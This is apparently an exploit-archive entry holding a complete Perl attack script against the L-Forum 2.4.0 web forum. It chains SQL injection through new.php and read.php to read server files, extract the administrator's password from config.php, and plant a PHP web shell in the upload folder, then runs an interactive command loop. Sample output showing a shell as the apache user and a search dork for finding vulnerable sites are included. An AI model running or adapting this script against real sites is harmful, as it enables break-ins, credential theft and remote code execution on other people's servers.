L-Forum version 2.4.0 local file inclusion and command injection via SQL injection exploit.
5700d2ecc7227e2a744509a398a139df728096cdbfa4c24e4a833f7b99debea8
#!/usr/bin/perl
# Web App: L-Forum 2.4.0
# Link : http://l-forum.sourceforge.net/
# Bug : SQL INJECTIONS
# SQL Command Injection Exploit
# Needs MQ Off
# Dork: Copyright 2000-2001 Leszek 'Leon' Krupinski
# Credits to Giovanni Buzzin, "Osirys"
# Mail: osirys[at]autistici[dot]org
# ------------------------------------------------------------------------
# Sploit on localhost
# ------------------------------------------------------------------------
# osirys[~]>$ perl spl0.txt http://localhost/l-forum-2.4.0/
#
# ---------------------------
# L-Forum
# Command Inj Exploit
# by Osirys
# ---------------------------
#
# [*] Generating error through GET request ..
# [*] Cheeking Apache Error Log path ..
# [*] Error Log path found -> /var/log/httpd/error_log
# [*] Website path found -> /home/osirys/web/l-forum-2.4.0/
# [*] Getting admin login details ..
# [$] User: admin
# [$] Pass: adminpass
# [*] Shell succesfully injected !
# [&] Hi my master, do your job now [!]
#
# shell[localhost]$> id
# uid=80(apache) gid=80(apache) groups=80(apache)
# shell[localhost]$> pwd
# /home/osirys/web/l-forum-2.4.0/upload
# shell[localhost]$> exit
# [-] Quitting ..
# osirys[~]>$
# ------------------------------------------------------------------------
use IO::Socket;
use LWP::UserAgent;
my $host = $ARGV[0];
my $path_ = "/upload/";
my $rand = int(rand 9) +1;
my @error_logs = qw(
/var/log/httpd/error.log
/var/log/httpd/error_log
/var/log/apache/error.log
/var/log/apache/error_log
/var/log/apache2/error.log
/var/log/apache2/error_log
/logs/error.log
/var/log/apache/error_log
/var/log/apache/error.log
/usr/local/apache/logs/error_log
/etc/httpd/logs/error_log
/etc/httpd/logs/error.log
/var/www/logs/error_log
/var/www/logs/error.log
/usr/local/apache/logs/error.log
/var/log/error_log
/apache/logs/error.log
);
my $php_c0de = "<?php echo \"st4rt\";system(\$_GET[cmd]);?>";
($host) || help("-1");
cheek($host) == 1 || help("-2");
&banner;
$datas = get_input($host);
$datas =~ /(.*) (.*)/;
($h0st,$path) = ($1,$2);
print "[*] Generating error through GET request ..\n";
get_req($host."/osirys_log_test".$rand);
print "[*] Cheeking Apache Error Log path ..\n";
while (($log = <@error_logs>)&&($gotcha != 1)) {
$tmp_path = $host."/new.php?f=0&r=-1 union select 1,2,3,4,load_file('".$log."'),6,7,8,9,10,11,12,13,14,15,16";
$re = get_req($tmp_path);
if ($re =~ /File does not exist: (.+)\/osirys_log_test$rand/) {
$site_path = $1."/";
$gotcha = 1;
print "[*] Error Log path found -> $log\n";
print "[*] Website path found -> $site_path\n";
}
}
$gotcha == 1 || die "[-] Couldn't file error_log !\n";
print "[*] Getting admin login details ..\n";
my $url = $host."/new.php?f=0&r=-1 union select 1,2,3,4,load_file('".$site_path."/config.php'),6,7,8,9,10,11,12,13,14,15,16";
my $re = get_req($url);
if ($re =~ /\$admin_name(\s)*= '(.+)';/) {
$user = $2;
if ($re =~ /\$admin_pass(\s)*= '(.+)';/) {
$pass = $2;
print "[\$] User: $user\n";
print "[\$] Pass: $pass\n";
}
}
else {
print "[-] Can't extract admin details\n\n";
}
&inj_shell;
sub inj_shell {
my $attack = $host."/read.php?f=0&i=-1 union select 1,2,3,4,5,6,7,8,9,'".$php_c0de."' into outfile '".$site_path.$path_."1337.php'";
get_req($attack);
my $test = get_req($host."/upload/1337.php");
if ($test =~ /st4rt/) {
print "[*] Shell succesfully injected !\n";
print "[&] Hi my master, do your job now [!]\n\n";
$exec_path = $host."/shell.php";
&exec_cmd;
}
else {
print "[-] Shell not found \n[-] Exploit failed\n\n";
exit(0);
}
}
sub exec_cmd {
$h0st !~ /www\./ || $h0st =~ s/www\.//;
print "shell[$h0st]\$> ";
$cmd = <STDIN>;
$cmd !~ /exit/ || die "[-] Quitting ..\n";
$exec_url = $host.$path_."1337.php?cmd=".$cmd;
my $re = get_req($exec_url);
my $content = tag($re);
if ($content =~ /st4rt(.+)/) {
my $out = $1;
$out =~ s/\$/ /g;
$out =~ s/\*/\n/g;
chomp($out);
print "$out\n";
&exec_cmd;
}
else {
$c++;
$cmd =~ s/\n//;
print "bash: ".$cmd.": command not found\n";
$c < 3 || die "[-] Command are not executed.\n[-] Something wrong. Exploit Failed !\n\n";
&exec_cmd;
}
}
sub get_req() {
$link = $_[0];
my $req = HTTP::Request->new(GET => $link);
my $ua = LWP::UserAgent->new();
$ua->timeout(4);
my $response = $ua->request($req);
return $response->content;
}
sub cheek() {
my $host = $_[0];
if ($host =~ /http:\/\/(.*)/) {
return 1;
}
else {
return 0;
}
}
sub get_input() {
my $host = $_[0];
$host =~ /http:\/\/(.*)/;
$s_host = $1;
$s_host =~ /([a-z.-]{1,30})\/(.*)/;
($h0st,$path) = ($1,$2);
$path =~ s/(.*)/\/$1/;
$full_det = $h0st." ".$path;
return $full_det;
}
sub tag() {
my $string = $_[0];
$string =~ s/ /\$/g;
$string =~ s/\s/\*/g;
return($string);
}
sub banner {
print "\n".
" ---------------------------\n".
" L-Forum \n".
" Command Inj Exploit \n".
" by Osirys \n".
" ---------------------------\n\n";
}
sub help() {
my $error = $_[0];
if ($error == -1) {
&banner;
print "\n[-] Input data failed ! \n";
}
elsif ($error == -2) {
&banner;
print "\n[-] Bad hostname address !\n";
}
print "[*] Usage : perl $0 http://hostname/cms_path\n\n";
exit(0);
}